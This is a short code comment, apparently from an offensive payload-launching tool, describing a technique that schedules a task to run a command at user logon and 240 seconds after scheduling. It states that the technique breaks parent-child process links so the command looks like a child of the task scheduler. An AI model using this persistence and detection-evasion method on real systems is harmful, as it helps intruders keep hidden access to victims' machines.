' This launching technique will create a new scheduled task for the 
' command specified, to be launched during user's logon.
'
' If --dont-launch was not given (for stopping immediate execution) will add yet another
' trigger to the task scheduled, launching the command in 240 seconds after
' scheduling.
'
' Allows to dechain Parent-Child relationship, spawned command will be child of task scheduler. Highly reliable.
